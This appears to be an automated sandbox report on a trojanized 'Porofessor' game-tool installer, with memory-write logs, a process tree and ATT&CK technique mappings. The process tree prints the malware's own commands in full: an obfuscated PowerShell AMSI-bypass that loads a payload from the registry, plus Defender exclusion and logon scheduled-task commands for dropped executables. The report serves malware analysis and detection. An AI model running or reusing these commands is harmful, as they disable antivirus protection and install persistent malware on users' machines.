PID 3564 wrote to memory of 2412	3564	Porofessor_Setup.exe	80
PID 3564 wrote to memory of 2412	3564	Porofessor_Setup.exe	80
PID 3564 wrote to memory of 1240	3564	Porofessor_Setup.exe	83
PID 3564 wrote to memory of 1240	3564	Porofessor_Setup.exe	83
PID 2412 wrote to memory of 3720	2412	Updater.exe	87
PID 2412 wrote to memory of 3720	2412	Updater.exe	87
PID 3564 wrote to memory of 1528	3564	Porofessor_Setup.exe	89
PID 3564 wrote to memory of 1528	3564	Porofessor_Setup.exe	89
PID 3720 wrote to memory of 1300	3720	OWinstaller.exe	91
PID 3720 wrote to memory of 1300	3720	OWinstaller.exe	91
PID 3564 wrote to memory of 2164	3564	Porofessor_Setup.exe	92
PID 3564 wrote to memory of 2164	3564	Porofessor_Setup.exe	92
PID 2164 wrote to memory of 4888	2164	Node64.exe	97
PID 2164 wrote to memory of 4888	2164	Node64.exe	97
PID 2164 wrote to memory of 2176	2164	Node64.exe	99
PID 2164 wrote to memory of 2176	2164	Node64.exe	99
PID 2164 wrote to memory of 1716	2164	Node64.exe	101
PID 2164 wrote to memory of 1716	2164	Node64.exe	101
PID 2164 wrote to memory of 1716	2164	Node64.exe	101
PID 2164 wrote to memory of 2180	2164	Node64.exe	102
PID 2164 wrote to memory of 2180	2164	Node64.exe	102
PID 2164 wrote to memory of 524	2164	Node64.exe	108
PID 2164 wrote to memory of 524	2164	Node64.exe	108
PID 2164 wrote to memory of 2004	2164	Node64.exe	110
PID 2164 wrote to memory of 2004	2164	Node64.exe	110
PID 2164 wrote to memory of 1740	2164	Node64.exe	111
PID 2164 wrote to memory of 1740	2164	Node64.exe	111
PID 2164 wrote to memory of 240	2164	Node64.exe	113
PID 2164 wrote to memory of 240	2164	Node64.exe	113
PID 2164 wrote to memory of 3140	2164	Node64.exe	115
PID 2164 wrote to memory of 3140	2164	Node64.exe	115
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 908 wrote to memory of 620	908	powershell.EXE	117
PID 620 wrote to memory of 624	620	dllhost.exe	5
PID 620 wrote to memory of 676	620	dllhost.exe	7
PID 620 wrote to memory of 956	620	dllhost.exe	12
PID 620 wrote to memory of 324	620	dllhost.exe	13
PID 620 wrote to memory of 408	620	dllhost.exe	14
PID 620 wrote to memory of 476	620	dllhost.exe	15
PID 620 wrote to memory of 876	620	dllhost.exe	16
PID 620 wrote to memory of 1028	620	dllhost.exe	17
PID 620 wrote to memory of 1108	620	dllhost.exe	18
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 676 wrote to memory of 2004	676	lsass.exe	110
PID 620 wrote to memory of 1180	620	dllhost.exe	19
PID 620 wrote to memory of 1228	620	dllhost.exe	21
PID 620 wrote to memory of 1252	620	dllhost.exe	22
PID 620 wrote to memory of 1260	620	dllhost.exe	23

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:876
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0b9d97cd-70d0-4750-963d-4863934568ef}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:620

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:KioPFOPJLoXW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zvAMVMTMpGFjoQ,[Parameter(Position=1)][Type]$iZzKMyfdqE)$qjYVfFLBouE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'fle'+[Char](99)+'t'+'e'+''+'d'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+'b'+'lic'+[Char](44)+'Se'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+'An'+'s'+''+[Char](105)+'C'+[Char](108)+'ass'+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+'C'+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$qjYVfFLBouE.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+','+'P'+''+'u'+''+'b'+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$zvAMVMTMpGFjoQ).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'tim'+'e'+','+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');$qjYVfFLBouE.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+'lot'+[Char](44)+''+'V'+''+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+'',$iZzKMyfdqE,$zvAMVMTMpGFjoQ).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $qjYVfFLBouE.CreateType();}$crbEeMsYAWAHN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+'of'+[Char](116)+''+[Char](46)+'Wi'+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+'ve'+[Char](77)+''+'e'+'th'+'o'+''+[Char](100)+''+[Char](115)+'');$bElbYgYIuskLxB=$crbEeMsYAWAHN.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+'Addre'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'tati'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iUnxxmedEtTGkCBaLbG=KioPFOPJLoXW @([String])([IntPtr]);$jOsynmMZfBQvcleROMzgZj=KioPFOPJLoXW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uwWrwpeyFqH=$crbEeMsYAWAHN.GetMethod(''+'G'+''+'e'+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+'u'+'l'+''+'e'+''+[Char](72)+''+[Char](97)+'n'+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l3'+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$VZQqyTBYdtDZOK=$bElbYgYIuskLxB.Invoke($Null,@([Object]$uwWrwpeyFqH,[Object]('L'+[Char](111)+''+[Char](97)+'dLib'+[Char](114)+''+[Char](97)+'ry'+'A'+'')));$lNDeybodhYSdonzDf=$bElbYgYIuskLxB.Invoke($Null,@([Object]$uwWrwpeyFqH,[Object]('V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$tiBbssI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VZQqyTBYdtDZOK,$iUnxxmedEtTGkCBaLbG).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$bWPYbujdWzPUnlTpG=$bElbYgYIuskLxB.Invoke($Null,@([Object]$tiBbssI,[Object]('Am'+'s'+''+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+'r'+'')));$uOCXWOgTtl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lNDeybodhYSdonzDf,$jOsynmMZfBQvcleROMzgZj).Invoke($bWPYbujdWzPUnlTpG,[uint32]8,4,[ref]$uOCXWOgTtl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bWPYbujdWzPUnlTpG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lNDeybodhYSdonzDf,$jOsynmMZfBQvcleROMzgZj).Invoke($bWPYbujdWzPUnlTpG,[uint32]8,0x20,[ref]$uOCXWOgTtl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+'W'+[Char](65)+'RE').GetValue(''+[Char](36)+''+[Char](78)+''+[Char](111)+'d'+[Char](101)+''+[Char](115)+'ta'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1456
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1984

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2816

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2980

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3556

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3644
- C:\Users\Admin\AppData\Local\Temp\tmpfile-main\Porofessor_Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\tmpfile-main\Porofessor_Setup.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Program Files\WinRAR\Temp\Updater.exe
    "C:\Program Files\WinRAR\Temp\Updater.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Users\Admin\AppData\Local\Temp\nsbD514.tmp\OWinstaller.exe
      "C:\Users\Admin\AppData\Local\Temp\nsbD514.tmp\OWinstaller.exe" Sel=1&Partner=3776&Extension=pibhbkkgefgheeglaeemkkfjlhidhcedalapdggh&Name=Porofessor.gg&UtmSource=porofessor-website&UtmMedium=download-button&UtmCampaign=download-button&Referer=porofessor.gg&Browser=chrome -partnerCustomizationLevel 0 --app-name="Porofessor" -exepath C:\Program Files\WinRAR\Temp\Updater.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3720
    - - C:\Windows\System32\DxDiag.exe
        
        "C:\Windows\System32\DxDiag.exe" /tC:\Users\Admin\AppData\Local\Overwolf\Temp\DxDiagOutput.txt
        5⤵
        Drops file in System32 directory
        Checks SCSI registry key(s)
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Program Files\Node64.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1240
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "Node64" /SC ONLOGON /TR "C:\Program Files\Node64.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1528
- - C:\Program Files\Node64.exe
    "C:\Program Files\Node64.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4888
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node32" /SC ONLOGON /TR "C:\Windows\System32\$Node32.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2176
  - - C:\Windows\System32\$Node32.exe
      "C:\Windows\System32\$Node32.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node2Json.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2180
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node2Json" /SC ONLOGON /TR "C:\Windows\System32\$Node2Json.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:524
  - - C:\Windows\System32\$Node2Json.exe
      "C:\Windows\System32\$Node2Json.exe"
      4⤵
      Executes dropped EXE
      PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node3Json.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1740
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node3Json" /SC ONLOGON /TR "C:\Windows\System32\$Node3Json.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:240
  - - C:\Windows\System32\$Node3Json.exe
      "C:\Windows\System32\$Node3Json.exe"
      4⤵
      Executes dropped EXE
      PID:3140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4080

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4104

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4336

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4572

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1584

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4720

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:8

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4728

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:3536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4712

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4420

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:1568

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3404

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:4076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery